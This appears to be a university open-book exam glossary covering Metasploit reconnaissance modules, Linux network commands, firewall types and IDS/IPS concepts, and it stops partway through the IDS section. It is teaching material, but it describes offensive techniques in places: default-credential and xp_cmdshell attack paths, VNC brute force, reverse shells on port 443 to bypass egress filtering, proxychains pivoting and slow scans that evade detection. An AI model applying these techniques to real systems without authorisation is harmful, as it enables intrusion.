
auxiliary/scanner/mssql/mssql_ping is a Metasploit auxiliary module that probes for Microsoft SQL Server instances on the network using the SQL Server Resolution Protocol (SSRP) on UDP port 1434. It discovers MSSQL instances including their instance name, version, port, and whether they are clustered. WHY it matters: MSSQL instances may not be on the standard port 1433 — SSRP on UDP 1434 reveals all instances including named instances on dynamic ports. SQL Server is a high-value target: default credentials (sa with blank password), xp_cmdshell (OS command execution), and UDF injection are all potential attack paths. Connection: Discovering MSSQL via mssql_ping is the precursor to attempting MSSQL exploitation. The version information helps identify applicable CVEs. On Metasploitable 3, MSSQL is present and a target for credential attacks and xp_cmdshell exploitation.

scanner/ssh/ssh_version scanner/ssh/ssh_version (auxiliary/scanner/ssh/ssh_version) is a Metasploit auxiliary module that connects to SSH services and retrieves the SSH banner, identifying the SSH version, server software, and protocol version. WHY it matters: SSH version identification enables CVE correlation — certain SSH versions have known vulnerabilities (e.g. CVE-2008-0166 weak Debian keys, various OpenSSH CVEs). It also identifies whether the target uses OpenSSH or a custom SSH implementation. Connection: Standard pre-exploitation recon before attempting SSH brute force (Hydra, Crowbar) or version-specific exploits. The SSH banner (e.g. SSH-2.0-OpenSSH_7.4) is also collected by Nmap -sV, but the Metasploit module provides a consistent interface within the msfconsole workflow.

auxiliary/scanner/ftp/anonymous auxiliary/scanner/ftp/anonymous is a Metasploit auxiliary module that tests FTP servers for anonymous login access — attempting to authenticate with the username 'anonymous' and a generic email as password. If successful, it reports the server as allowing anonymous access. WHY it matters: Anonymous FTP access means anyone can connect and download (or potentially upload) files without authentication — a significant confidentiality and potentially integrity risk. GVM rates anonymous FTP as CVSS 6.4 Medium. Connection: Run against port 21 targets discovered in Nmap scanning. If anonymous login succeeds, the next step is manual exploration of the FTP server's contents (ls, get) to identify sensitive files. On Metasploitable 2, some FTP configurations allow anonymous access alongside the vsftpd backdoor. **auxiliary/scanner/ftp/ftp_version**

auxiliary/scanner/ftp/ftp_version is a Metasploit auxiliary module that connects to FTP services and retrieves the banner, identifying the FTP server software and version. This is the

Metasploit-native equivalent of Nmap's -sV on port 21. WHY it matters: FTP version identification directly enables CVE lookup — vsFTPD 2.3.4 is the canonical example where version identification immediately identifies a backdoored service. Knowing the version before exploitation confirms the target and avoids wasted attempts against patched versions. Connection: Often run alongside auxiliary/scanner/ftp/anonymous to get both version information and anonymous access status in a single recon pass. The banner returned (e.g. '220 (vsFTPD 2.3.4)') is the same information Nmap -sV collects, but integrated into the Metasploit workflow.

auxiliary/scanner/vnc/vnc_login auxiliary/scanner/vnc/vnc_login is a Metasploit auxiliary module that performs credential brute force against VNC servers on port 5900. It tests a list of passwords (using a wordlist or common defaults) against the VNC authentication mechanism. WHY it matters: VNC authentication uses only a password (no username), and many VNC installations use default or weak passwords ('password', '1234', blank). The module automates the process of finding these credentials. Connection: On Metasploitable 2, VNC uses the password 'password' — vnc_login finds this trivially. A successful login result is then used with a VNC viewer (e.g. vncviewer on Kali) to connect to the graphical desktop. GVM/Nessus also flag VNC authentication bypass as a critical finding.

auxiliary/scanner/http/http_version auxiliary/scanner/http/http_version is a Metasploit auxiliary module that sends HTTP requests to web server(s) and retrieves the Server header and other version information, identifying the web server software (Apache, nginx, IIS), version, and sometimes the underlying OS. WHY it matters: Web server version identification enables CVE correlation — Apache 2.4.49 maps to CVE-2021-41773 (path traversal RCE); knowing the version tells you which web server exploits are applicable. Connection: The HTTP Server header is the web equivalent of the FTP/SSH banner. Many web servers are configured to suppress or falsify this header (banner obfuscation), in which case the module may return less detail. Pairs with OWASP vulnerability scanning tools (Nikto, ZAP, Burp Suite) for comprehensive web server assessment. On Metasploitable 2, multiple web services (Apache, Tomcat, Jetty) are running on various ports.

HOST OBSERVATION COMMANDS

Open-book exam reference — Cybersecurity Course (F26), SDU CIS **netstat -antp** netstat -antp displays all (-a) active network connections and listening sockets in numeric (-n) format with TCP (-t) connections showing the owning process (-p). Output includes: local address:port, remote address:port, connection state (LISTEN, ESTABLISHED, TIME_WAIT), and PID/program name. WHY it matters: netstat -antp gives a complete picture of what a system is listening on and who it is talking to. For post-exploitation, it reveals: what services are running (including ones not visible from outside a firewall), active connections that might indicate other hosts or C2 communication, and PIDs associated with listening services for process targeting. For defenders, it is a baseline and anomaly detection tool — unexpected listening ports or outbound connections indicate compromise. Connection: Equivalent to Meterpreter's netstat command within a session. In the course labs, running netstat -antp on Kali before and after starting a listener confirms the listener is active. Also used on compromised targets to map internal services not visible from external Nmap scans.

ss -at4n ss (socket statistics) is the modern replacement for netstat on Linux. ss -at4n shows: all (-a) sockets, TCP only (-t), IPv4 only (-4), in numeric format (-n). It is faster than netstat because it queries kernel data structures directly rather than reading /proc files. WHY it matters: ss provides the same information as netstat (listening ports, active connections, states) but is the current standard on modern Linux distributions where netstat may not be installed by default. In



post-exploitation on a hardened target, knowing both commands ensures you can get network socket information regardless of what tools are available. Connection: Functionally equivalent to `netstat -antp` for most use cases. The `-u` flag adds UDP sockets; `-p` adds process information. On modern Kali and Metasploitable systems, `ss` works reliably. Use when `netstat` is unavailable.

sudo lsof -i :PORT `lsof` (list open files) is a command that lists all open files — and in Unix, network sockets are files. `sudo lsof -i :PORT` shows all processes that have opened a socket on the specified port, including the process name, PID, user, and whether it is listening or connected. Example: `sudo lsof -i :4444` shows what is using port 4444. WHY it matters: `lsof -i :PORT` is the most precise way to identify which process is listening on a specific port and under which user context it is running. This is essential for: verifying that a Metasploit listener is active before triggering an exploit, debugging unexpected port usage, and post-exploitation identification of services to target or exploit. Connection: Complements `netstat -antp` and `ss`. The `sudo` is required because processes owned by other users are only visible with elevated privileges. In the course labs, `lsof -i :4444` confirms that the multi/handler or `nc` listener is active and waiting for a reverse shell connection.

dig +trace (DNS trace) `dig +trace` performs a full DNS resolution trace from the root servers down to the authoritative nameserver for a given domain, showing every DNS delegation step in the chain. It queries the root servers first, then TLD nameservers, then the authoritative nameservers, displaying each step's response. WHY it matters: `dig +trace` reveals the complete DNS resolution path for a domain — which nameservers are authoritative, how the zone is delegated, and the full TTL chain. For reconnaissance, it identifies the authoritative nameservers (which are targets for zone transfer attempts) and the DNS infrastructure hierarchy. For debugging, it isolates where in the resolution chain a failure or misconfiguration occurs. Connection: Pairs with standard `dig` (which queries the local resolver) and `nslookup` for DNS reconnaissance. The authoritative nameservers revealed by `+trace` are the servers to target with `dig AXFR` (DNS zone transfer attempts). DNSSEC signatures are also visible in `+trace` output, confirming whether DNSSEC is deployed. DNS information feeds into the broader passive reconnaissance picture alongside WHOIS and Netcraft.

■ FIREWALLS

Open-book exam reference — Cybersecurity Course (F26), SDU CIS

Firewall

A firewall is a network security device or software that monitors and controls incoming and outgoing network traffic based on a set of predefined security rules. It establishes a barrier between a trusted internal network and untrusted external networks (such as the internet), deciding what traffic to allow or deny.

WHY it matters: A firewall is the foundational perimeter control in almost every network architecture. Without one, every host is directly reachable from any source. Firewalls enforce the boundary between what you trust and what you do not, making them the first line of defense in defense-in-depth.

Connection: Firewalls enforce access control at the network level. Different generations — packet filter, stateful, application-layer — provide increasing depth of inspection. A firewall alone is not sufficient; it must be combined with IDS/IPS, hardening, and monitoring. In STRIDE, firewalls are a countermeasure for Spoofing (blocking forged-source traffic), Information Disclosure (blocking access to internal services), and Denial of Service (rate limiting). WAF is the web-specific variant; NGFW adds deep packet inspection and application awareness.

Choke Point

A choke point is a deliberately narrow, controlled entry and exit point in a network through which all traffic must pass. By funneling all communication through a single controlled gateway, defenders can monitor, filter, and log everything that crosses the perimeter. The firewall, proxy, or bastion host at the choke point becomes the only path between network zones.

WHY it matters: A choke point makes comprehensive monitoring and control feasible. If traffic can bypass it, enforcement and visibility are lost. The concept comes from military strategy — controlling a bottleneck forces the adversary through a prepared defense.

Connection: The choke point concept is the architectural justification for perimeter security. It is why all traffic must pass through the firewall rather than have individual hosts independently manage their own exposure. VPN gateways, proxies, and DMZ designs all rely on the choke point principle. The weakness of perimeter-only security is that a single breached choke point can expose the entire interior — this is why defense-in-depth goes beyond perimeter controls.

Packet Filter

A packet filter is the broadest category of firewall that inspects individual packets in isolation — examining header fields (source IP, destination IP, source port, destination port, protocol) against a ruleset and either allowing or dropping each packet. It does not track session state or understand application-layer content.

WHY it matters: Packet filters are fast, simple, and lightweight. They are implemented in routers, operating systems (iptables on Linux, Windows Firewall), and dedicated appliances. Understanding packet filtering is foundational to understanding all more advanced firewall types.

Connection: Packet filters are stateless — each packet is evaluated independently. This means they cannot distinguish between a legitimate RST and a forged one, and cannot detect multi-packet attacks. ACLs on routers are a form of packet filter. Stateful packet filters (second generation) extend this by tracking connection state.

Static Packet Filter (First Generation)

A static packet filter — the first generation of firewall technology — applies fixed rules to each packet header independently, with no memory of previous packets or session context. Rules specify allowed/denied combinations of IP addresses, ports, and protocols. Once configured, the ruleset is static until manually changed.

WHY it matters: First-generation firewalls were the original network perimeter controls, deployed in the late 1980s and early 1990s. Understanding them is necessary to understand why stateful inspection was developed — static filters cannot detect fragmentation attacks, cannot properly handle FTP's dynamic data channel ports, and are bypassed by packet crafting techniques.

Connection: Static packet filters are vulnerable to IP spoofing (cannot verify source IP authenticity), tiny fragment attacks (splitting TCP headers across fragments to hide port numbers from the filter), and source routing attacks (attacker-specified routing that bypasses filter rules). These attack techniques were designed specifically to defeat first-generation firewalls, which is why second-generation stateful filters address them directly.

Stateful Packet Filter / Stateful Inspection

A stateful packet filter (second generation, also called stateful inspection) maintains a connection state table — tracking the state of all active TCP and UDP sessions. Instead of evaluating each packet in isolation, it evaluates each packet in the context of its session. It knows whether a packet is the start of a new connection (SYN), part of an ongoing conversation (ESTABLISHED), or a suspicious packet with no matching session entry.

WHY it matters: Stateful inspection dramatically improves over first-generation filters. It can distinguish legitimate responses (part of a tracked session) from forged packets with no matching connection. It correctly handles protocols with dynamic ports (FTP, SIP). It defeats many spoofing and fragmentation attacks that fool static filters.

Connection: The state table stores source IP, destination IP, source port, destination port, protocol, and connection state. SYN flood attacks directly target this table — flooding it with half-open connections exhausts memory. SYN cookies were developed specifically as a countermeasure. Stateful inspection is the baseline for modern firewalls; application-layer gateways add protocol-aware inspection on top.

Circuit-Level Gateway

A circuit-level gateway operates at the session layer (Layer 5 of the OSI model). It establishes a virtual circuit between the client and target by validating the TCP handshake — confirming a session is legitimate — without inspecting the content of data flowing through it. Once the circuit is established, it relays traffic transparently. SOCKS is the standard protocol for circuit-level proxying.

WHY it matters: Circuit-level gateways hide internal network topology from external observers — the external server sees only the gateway's IP address, not the internal client's. This provides NAT-like address hiding plus session-layer validation. They are lightweight because they do not inspect application content.

Connection: Circuit-level gateways sit between packet filters (header-only inspection) and application-layer gateways (full protocol inspection). SOCKS is the main circuit-level gateway protocol in practice. The limitation is that once the circuit is established, malicious content in the data stream passes through unexamined — application-layer attacks are invisible to a circuit-level gateway.

Application-Level Gateway / Proxy

An application-level gateway (also called an application proxy or proxy firewall) fully understands and inspects a specific application-layer protocol (HTTP, FTP, SMTP, DNS, etc.). It acts as a complete intermediary — the client connects to the proxy, the proxy makes a separate connection to the server on the client's behalf, and it inspects the full application-layer content of both sides of the conversation.

WHY it matters: Application-level gateways provide the deepest inspection. They can detect malformed requests, enforce protocol compliance, block specific commands, scan for malicious content, and log full session details. A web proxy can block specific URLs, scan for malware in downloaded files, or enforce browsing policies.

Connection: The limitation is performance — application proxies must parse and re-assemble the full application protocol, which is computationally expensive and requires a dedicated proxy for each protocol. Unknown or encrypted protocols cannot be inspected without TLS interception. A WAF (Web Application Firewall) is a specialized application-level gateway for HTTP/S. The OWASP Top 10 attacks (SQLi, XSS) are the class of threats an application-level gateway targets.

Bastion Host

A bastion host is a hardened computer deliberately exposed to the public internet that serves as the primary external-access point to the internal network. It sits at the perimeter, is minimally provisioned (only the services needed for its specific role), and is hardened against attack. Examples include a DMZ web server, an SSH jump host, or a VPN gateway.

WHY it matters: The bastion host concept concentrates external exposure into a single, carefully controlled point. By accepting that this host will be targeted and hardening it maximally, the defender limits blast radius. All unnecessary services are disabled; all access is logged; the host is stripped to the minimum required OS and software.

Connection: The bastion host is the practical expression of the choke point and hardening concepts. SSH jump hosts in modern cloud environments are bastion hosts. If a bastion host is compromised, the attacker still faces the internal network's defenses — it is the first layer, not the only one. A DMZ is the network zone where bastion hosts live.

Host-Based Firewall

A host-based firewall is firewall software running directly on an individual computer rather than on a dedicated network appliance. It controls traffic to and from that specific machine, filtering inbound and outbound connections based on rules configured on the host itself. Examples: iptables/nftables on Linux, Windows Defender Firewall, macOS Application Firewall.

WHY it matters: Host-based firewalls provide a last line of defense that operates independently of network infrastructure. Even if an attacker bypasses the perimeter firewall (via VPN compromise, a compromised insider device, or lateral movement within the network), the host-based firewall still enforces rules on that specific machine.

Connection: A host-based firewall complements, rather than replaces, network-based firewalls — it is a key defense-in-depth layer. In cloud environments, security groups and instance-level ACLs are a form of host-based firewall. In penetration testing, the presence of a host-based firewall affects Nmap results — ports may appear filtered at the network level even when a service is running on the target.

Personal Firewall

A personal firewall is a host-based firewall specifically designed for end-user computers (desktops, laptops). It typically combines inbound filtering with application-level outbound control — prompting the user when a new application attempts to make an outbound connection, and allowing or denying it on a per-application basis. Windows Defender Firewall and macOS's application firewall are standard personal firewalls.

WHY it matters: Personal firewalls protect individual users from inbound attacks (unsolicited connection attempts) and data exfiltration (unexpected outbound connections by malware). They are the consumer-facing version of the host-based firewall concept.

Connection: Personal firewalls are part of endpoint security alongside antivirus and EDR. In enterprise environments, centrally managed host-based firewalls enforce consistent policy across all endpoints. The outbound control feature is directly relevant to malware — ransomware, spyware, and reverse shells all make outbound connections that a properly configured personal firewall may block or alert on.

Default Deny Policy

A default deny policy (deny-by-default or implicit deny) is a firewall or access control configuration where all traffic is blocked unless explicitly permitted by a rule. The ruleset defines what is allowed; everything else is denied. This is the security best-practice stance.

WHY it matters: Default deny is the most secure firewall stance because the administrator must consciously decide to permit each type of traffic. Unknown, unexpected, or newly introduced traffic is automatically blocked until a rule is added. It embodies the principle of least privilege at the network level.

Connection: Default deny is the opposite of default allow. It is the basis of Secure-by-Design at the network layer — new services deployed behind a default-deny firewall do not automatically become reachable. The challenge is operational: default deny can block legitimate traffic if rules are not maintained, creating pressure to relax the policy. Keeping it strict is correct; operational teams must manage it rather than weaken it.

Default Allow Policy

A default allow policy is a firewall configuration where all traffic is permitted unless explicitly blocked by a rule. The ruleset defines what is denied; everything else is allowed. This is the least secure stance, sometimes used in legacy environments where blocking specific known-bad traffic is more practical than whitelisting known-good traffic.

WHY it matters: Default allow is operationally convenient — new services work without firewall changes — but fundamentally insecure. Any new vulnerability, newly introduced service, or unknown traffic type passes through automatically. It is characteristic of perimeter-only thinking where the assumption is that the internal network is safe.

Connection: Default allow is the anti-pattern to default deny. In penetration testing, a default-allow internal network means that once perimeter defenses are bypassed, lateral movement is largely unrestricted. STRIDE's Information Disclosure and Elevation of Privilege threats are directly enabled by default-allow internal policies.

ACL (Access Control List)

An Access Control List is an ordered list of rules specifying which subjects (IP addresses, networks, users) are permitted or denied access to a resource (a network interface, port, file, or system). In network firewalls and routers, ACLs define the packet filter ruleset — each rule is evaluated in sequence, and the first matching rule determines the action (permit or deny). In operating systems, ACLs control file and resource permissions.

WHY it matters: ACLs are the fundamental mechanism for expressing and enforcing authorization decisions in both network and host contexts. They implement policies such as 'only hosts in subnet X may reach service Y on port Z' — the core of firewall rule engineering.

Connection: In networking, ACLs are implemented on routers (Cisco IOS ACLs), firewalls (iptables rules), and cloud security groups (AWS/GCP/Azure). Rule order matters — the first match wins, so a common misconfiguration is placing an overly permissive rule before a restrictive one. Nmap's 'filtered' port state indicates an ACL is dropping probe packets. In access control theory, ACLs are one of three main models alongside RBAC and ABAC.

Ingress Filtering

Ingress filtering inspects and filters traffic entering a network at its boundary — traffic arriving from outside. The primary goal is to block packets with forged source IP addresses that claim to originate from trusted internal networks or should not legitimately arrive from external sources.

WHY it matters: Ingress filtering prevents IP address spoofing attacks that forge internal source addresses to bypass access controls. RFC 2827 (BCP 38) recommends ISPs implement ingress filtering at their edges, which would eliminate the source-address spoofing that enables reflection/amplification DDoS attacks.

Connection: Ingress filtering is the inbound counterpart to egress filtering. Together they enforce 'only legitimate source addresses transit this boundary.' Smurf attacks, reflection DDoS, and IP spoofing attacks all depend on forging source addresses — ingress filtering defeats them at the origin. If all ISPs implemented BCP 38, most amplification-based DDoS would be impossible.

Egress Filtering

Egress filtering inspects and filters traffic leaving a network at its boundary — outbound traffic going to external destinations. It ensures only authorized outbound traffic is permitted, and that traffic leaving the network uses legitimate source IP addresses (blocking spoofed-source packets from being weaponized in DDoS amplification).

WHY it matters: Egress filtering serves two purposes: (1) it prevents the network from being weaponized in DDoS amplification attacks by blocking forged-source outbound packets; (2) it contains data exfiltration — malware attempting to phone home or exfiltrate data over unauthorized protocols can be blocked at the egress point.

Connection: In penetration testing, reverse shell payloads deliberately exploit weak egress filtering by connecting back on ports 80 or 443 (HTTP/HTTPS) to blend with legitimate outbound web traffic. Choosing LPORT 443 for a Meterpreter reverse_tcp payload exploits the common egress rule allowing outbound TCP 443. A well-configured egress filter inspects application-layer content rather than just port numbers.

NAT (Network Address Translation)

NAT translates private (RFC 1918) IP addresses used internally into a public IP address for internet communication — and vice versa for inbound traffic. Hundreds of internal hosts can share a single public

IP. The NAT device maintains a translation table mapping internal IP:port pairs to external IP:port assignments.

WHY it matters: NAT conserves the IPv4 address space and provides a degree of network address hiding — external parties see only the NAT gateway's public IP, not the internal addresses of individual hosts. This makes it harder to directly target internal hosts from outside.

Connection: NAT is not a security control by design — it is an address translation mechanism with security side-effects. An attacker who compromises a host inside the NAT boundary has full internal access regardless. Port forwarding punches inbound holes through NAT for specific services. In Metasploit, LHOST must be the address reachable from the target — for reverse shells through NAT, this may be the external public IP. IPv6 eliminates the address-scarcity need for NAT.

SOCKS (circuit proxy protocol)

SOCKS (Socket Secure) is a network protocol that allows a client to establish a TCP or UDP connection through a proxy server to any destination. SOCKS4 handles TCP only; SOCKS5 adds UDP support, IPv6, and authentication. The SOCKS proxy establishes a circuit-level connection — it validates and relays sessions without inspecting application content.

WHY it matters: SOCKS proxies are used legitimately for privacy, geo-restriction bypass, and corporate proxying. In penetration testing, Metasploit's SOCKS proxy module combined with proxychains allows running attack tools against internal network hosts only reachable through a pivot machine — routing all tool traffic through the compromised system's Meterpreter session.

Connection: SSH dynamic port forwarding (ssh -D) creates a SOCKS5 proxy for tunneling through an SSH connection. In Metasploit post-exploitation, auxiliary/server/socks4a sets up a SOCKS proxy routed through an active session, enabling 'proxychains nmap' or 'proxychains msfconsole' to scan internal networks. This is the core pivoting technique that extends an attack from a DMZ foothold into the internal network.

DMZ (Demilitarized Zone)

A DMZ is a network segment between the external internet and the internal trusted network, containing services that must be accessible to external users (web servers, mail servers, DNS servers, VPN gateways). The DMZ is protected by a firewall on the external side and separated from the internal network by a second firewall (or interface), creating a buffer zone.

WHY it matters: The DMZ architecture means that if an internet-facing service is compromised, the attacker has not automatically gained access to the internal network — they face a second firewall boundary. It separates publicly accessible services from sensitive internal systems, containing blast radius.

Connection: A classic DMZ uses two firewalls — one between internet and DMZ, one between DMZ and internal network. A single firewall with three interfaces (external, DMZ, internal) achieves the same logical separation. Bastion hosts live in the DMZ. In penetration testing, pivoting from a DMZ host to the internal network is a key milestone — it represents breaking through the second firewall boundary. The three-zone model is the standard enterprise network architecture.

VPN (Virtual Private Network)

A VPN creates an encrypted tunnel between two endpoints over an untrusted network (typically the internet), allowing them to communicate as if on the same private network. Site-to-site VPNs connect two office networks; remote-access VPNs connect individual users to a corporate network. Common protocols include IPsec, OpenVPN (TLS-based), and WireGuard.

WHY it matters: VPNs extend the trusted network perimeter across untrusted infrastructure. They protect confidentiality and integrity of transit data. Remote workers connecting via corporate VPN appear to be on the internal network. Without a VPN, corporate traffic over the internet is exposed to interception and eavesdropping.

Connection: VPNs are a key component of perimeter security for distributed organizations. They also complicate penetration testing scope — VPN client traffic appears as internal traffic and may bypass external firewall rules. IPsec is the standard protocol for VPN tunnels at the IP layer. SSL VPNs use TLS, enabling operation through NAT and firewalls that block IPsec. VPN credentials are high-value targets because they provide internal network access without breaching the perimeter firewall.

IPsec

IPsec (Internet Protocol Security) is a suite of protocols providing cryptographic security at the IP layer — authentication, integrity, and confidentiality for IP packets. Transport Mode protects only the payload (used for end-to-end communication between hosts). Tunnel Mode encrypts the entire original IP packet and wraps it in a new header (used for VPN gateways connecting networks). Key sub-protocols: AH (Authentication Header — provides integrity and authentication only, no encryption) and ESP (Encapsulating Security Payload — provides encryption plus authentication).

WHY it matters: IPsec secures IP-level communications independently of the application layer — any protocol running over IP benefits without modification. It is the foundation of most enterprise site-to-site VPN solutions, providing strong mutual authentication via certificates or pre-shared keys.

Connection: IPsec uses IKE (Internet Key Exchange) for negotiating security associations (SAs) and managing session keys. Compared to TLS (which operates at the transport/application layer and must be integrated into each application), IPsec transparently protects all IP traffic from a host or gateway. Tunnel Mode IPsec is the basis of traditional site-to-site VPN gateways connecting offices over the internet.

Distributed Firewall

A distributed firewall extends firewall policy enforcement from a single central gateway to all endpoints simultaneously. Policy is defined centrally but enforced locally on every host — each runs a firewall agent applying the centrally-managed ruleset, regardless of network topology. This enforces security even for east-west traffic between internal hosts that never crosses a central gateway.

WHY it matters: Traditional perimeter firewalls are blind to lateral movement within the internal network — they only see traffic crossing the boundary. A distributed firewall enforces policy on every host, closing this gap. In modern cloud and zero-trust architectures, distributed enforcement (security groups, Kubernetes network policies) is the default model.

Connection: Distributed firewalls are conceptually aligned with zero-trust architecture — no assumption of a trusted internal network, all traffic must be authorized. Kubernetes Network Policies are a form of distributed firewall at the pod level. In enterprise environments, EDR/XDR agents often include host-based firewall management as part of distributed enforcement.

Perimeter Security

Perimeter security is the traditional network security model that concentrates defenses at the boundary between the trusted internal network and the untrusted external network. The assumption is that internal traffic is safe and only external traffic is dangerous, so controls (firewalls, IDS, VPN gateways) are deployed primarily at the boundary.

WHY it matters: Perimeter security is the foundational model from which modern architectures evolved. Understanding its assumptions and limitations explains why defense-in-depth, distributed firewalls, and zero-trust architectures were developed as responses to its failures.

Connection: Perimeter security fails when: (1) attackers penetrate the perimeter via phishing or compromised credentials, (2) threats originate inside (insider threats, lateral movement from a compromised DMZ host), or (3) the perimeter dissolves (remote work, cloud services, BYOD). These failure modes drove the zero-trust model: 'never trust, always verify.' In penetration testing, achieving a foothold inside the perimeter is often the pivotal moment because internal east-west defenses are frequently weaker.

Trust Boundary

A trust boundary is a line in the network or application architecture where data, control, or users transition between zones of different trust levels. Every data flow crossing a trust boundary must be treated as potentially hostile and subjected to validation, authentication, and authorization checks.

WHY it matters: Trust boundaries are the core concept of threat modeling. In a DFD, trust boundaries are drawn as dashed lines, and every data flow crossing them is analyzed for STRIDE threats. Failing to recognize trust boundaries — treating external user input as trusted — is a common root cause of vulnerabilities.

Connection: Trust boundaries appear in multiple course contexts: DFD-based threat modeling (dashed lines on the diagram), Kubernetes security (the 4Cs — Cloud, Cluster, Container, Code — define concentric trust boundaries), network architecture (DMZ vs internal), and Android security (app sandbox).

boundaries). In penetration testing, crossing a trust boundary — from external to DMZ, from DMZ to internal, from low-privilege to root — is the core objective of each exploitation step.

IP Address Spoofing

IP address spoofing is the creation of IP packets with a forged source IP address to impersonate another host, hide the attacker's identity, or exploit trust relationships that rely on source IP for authentication. The attacker sets the source IP field in the packet header to an address other than their real address.

WHY it matters: IP spoofing enables reflection/amplification DDoS (attacker sends requests appearing to come from the victim's IP, causing servers to flood the victim with responses), bypass of IP-based access controls, and concealment of the attacker's true origin.

Connection: Blind spoofing (where the attacker cannot see responses, because replies go to the forged address) is used in reflection/amplification DDoS and is thwarted by ingress filtering. TCP's stateful handshake makes full TCP session spoofing harder (requires guessing the correct sequence number), but UDP and ICMP are trivially spoofable. Static packet filters are vulnerable to IP spoofing because they do not validate whether source addresses are legitimate for the originating network. Ingress and egress filtering together are the primary countermeasures.

Source Routing Attack

Source routing is an IP option allowing the sender to specify the exact path a packet should take through the network (Strict Source Routing) or a list of required waypoints (Loose Source Routing). A source routing attack exploits this feature: an attacker specifies a route that causes packets to bypass firewall rules, reach normally-inaccessible hosts, or pass through attacker-controlled routers for eavesdropping.

WHY it matters: Source routing attacks were a serious threat against first-generation firewalls that did not inspect or block IP options. By specifying a route that avoids the firewall, an attacker could reach internal hosts that should be protected. The countermeasure is for all routers and firewalls to silently drop packets with IP source route options set.

Connection: Modern routers and firewalls drop packets with IP source route options by default — this is a standard hardening configuration that should be verified in any firewall audit. The concept reappears in IPv6 routing headers, which have similar source-routing-like capabilities that must also be filtered carefully in IPv6 deployments.

Tiny Fragment Attack

A tiny fragment attack deliberately fragments IP packets into pieces so small that a TCP header is split across multiple fragments. First-generation stateless packet filters evaluate each fragment independently — the first fragment contains only a partial TCP header (not enough to read port numbers), and subsequent fragments contain no header. The filter cannot apply port-based deny rules to the fragments and passes them all through, delivering the complete packet to the target after IP reassembly.

WHY it matters: Tiny fragment attacks specifically defeated first-generation packet filters by exploiting per-fragment stateless evaluation. If the filter cannot read the destination port from the first tiny fragment, it cannot match port-based deny rules — the malicious traffic reaches its target.

Connection: This is why stateful firewalls and modern packet filters perform IP fragment reassembly before evaluating rules — they reconstruct the complete packet from its fragments, then apply rules to the reassembled result. 'Reassemble before inspect' is a core firewall best practice. Related to the Teardrop fragmentation attack, which exploited overlapping fragments to crash the OS reassembly code — same fragmentation mechanism, different target (OS stability rather than firewall bypass).

Smurf DoS Attack (ICMP broadcast)

The Smurf attack is a distributed denial-of-service attack using IP broadcast amplification. The attacker sends ICMP echo request (ping) packets with the victim's IP address forged as the source to a network's broadcast address. Every host on that broadcast network replies with an ICMP echo reply directed at the victim. A single attacker packet can generate hundreds of reply packets from a large broadcast network, overwhelming the victim.

WHY it matters: Smurf attacks were highly effective in the late 1990s because they provided massive amplification — one spoofed request could generate 100-300 reply packets aimed at the victim, exhausting bandwidth. The victim's network was overwhelmed by a flood of legitimate-looking ICMP replies from innocent third-party hosts acting as unwitting amplifiers.

Connection: Smurf attacks depend on two conditions: IP spoofing (forging the victim's IP as source) and broadcast amplification (sending to a directed broadcast address). Countermeasures: (1) ingress filtering at ISPs preventing spoofed packets from leaving the attacker's network, and (2) configuring routers not to forward directed broadcasts (RFC 2644). Smurf is an amplification/reflection DDoS attack — the same underlying principle drives modern DNS/NTP/memcached amplification attacks. In STRIDE, Smurf directly violates Availability. It is in the DoS section alongside SYN flood, Ping of Death, and Teardrop as a classic volumetric attack.

Cybersecurity (F26) — SDU CIS — 922 terms across 39 sections

■ IDS / IPS

Open-book exam reference — Cybersecurity Course (F26), SDU CIS

IDS (Intrusion Detection System)

An IDS is a system that monitors network traffic, host activity, or collected logs and attempts to identify malicious or suspicious behavior. It analyzes different information sources, scans for known attack patterns, detects abnormalities, and compiles security-relevant events. The goal is to transform a flood of raw activity data into evidence that deserves human or automated investigation.

WHY it matters: Firewalls enforce policy at the boundary but are blind to what happens inside a network or on a host. An IDS provides visibility into ongoing activity — detecting attacks that have bypassed perimeter controls, lateral movement, privilege escalation, or insider misuse. Without detection, a compromise may go unnoticed for months.

Connection: IDS is distinct from a firewall (which enforces traffic policy) and from IPS (which takes automated action). An IDS observes and reports; the human or downstream system decides how to respond. Categorized by data source (HIDS, NIDS, LIDS), by detection method (misuse/signature vs anomaly), and by response posture (passive vs reactive/IPS). Blue Team operations depend on IDS/SIEM output for threat hunting and incident response.

IPS (Intrusion Prevention System)

An IPS is a reactive security system that not only detects suspicious or malicious activity but also automatically takes action to prevent or limit the harm. Actions include changing firewall rules, blocking an IP address, dropping a connection, or isolating a host. An IPS is essentially an IDS with automated enforcement capability.

WHY it matters: An IDS that only alerts still requires a human to respond — and that response takes time. An IPS can react within milliseconds, blocking an attack before it completes. This is particularly valuable for fast-moving attacks such as worm propagation or SQL injection floods where human reaction time is too slow.

Connection: The key exam distinction: IDS detects and reports; IPS detects and acts. The risk of an IPS is that incorrect decisions cause availability harm — a false positive that triggers an automatic block can deny service to legitimate users, creating an IPS-induced DoS. High-confidence signals and reversible, proportionate actions are therefore critical. Suricata and Snort both support inline IPS mode (dropping packets) as well as passive IDS mode (alerting only).

HIDS (Host-Based IDS)

A Host-Based IDS analyzes security-relevant information collected from a single endpoint or server — process activity, file system changes, system calls, authentication events, registry modifications, and application logs. It runs as an agent on the monitored host and reports findings to a central management platform.

WHY it matters: A HIDS can see events that are completely invisible to network-based detection: a local privilege escalation, a malicious process spawning a shell, a file being modified on disk, or an unauthorized account being created. These are post-exploitation activities that happen entirely within the host and never cross the network in a detectable way.

Connection: HIDS is the host-layer counterpart to NIDS. Wazuh is a HIDS/SIEM platform — it deploys agents on endpoints that report to a central server. The weakness of HIDS is that if the attacker gains root/SYSTEM, they may tamper with or disable the agent itself — which is why protecting the sensor and

forwarding logs to a remote server before they can be altered is a best practice. HIDS and NIDS are complementary: NIDS sees network-visible patterns, HIDS sees local behavior.

NIDS (Network-Based IDS)

A Network-Based IDS captures and analyzes network traffic flowing through a network segment, looking for patterns, signatures, or anomalies that indicate malicious activity. It is deployed at a network tap, span port, or inline at a strategic chokepoint where it can observe traffic between zones or on a specific segment.

WHY it matters: A NIDS provides broad visibility across all hosts on a segment from a single sensor. It can detect port scans, exploit attempts, C2 beaconing, data exfiltration, and lateral movement traffic — without needing to deploy agents on individual hosts. A single NIDS sensor watching a core switch can see all traffic between subnets.

Connection: Snort and Suricata are NIDS tools. The key limitations: NIDS is blind to encrypted traffic it cannot decrypt, and has coverage gaps wherever it is not placed (east-west traffic between VLANs not passing through the sensor). Zeek takes a different approach — it produces rich protocol logs rather than just signature alerts. In penetration testing, Nmap's slow timing templates (T0/T1) evade NIDS scan detection by spreading probes below the correlation window threshold.

LIDS (Logging-Based IDS)

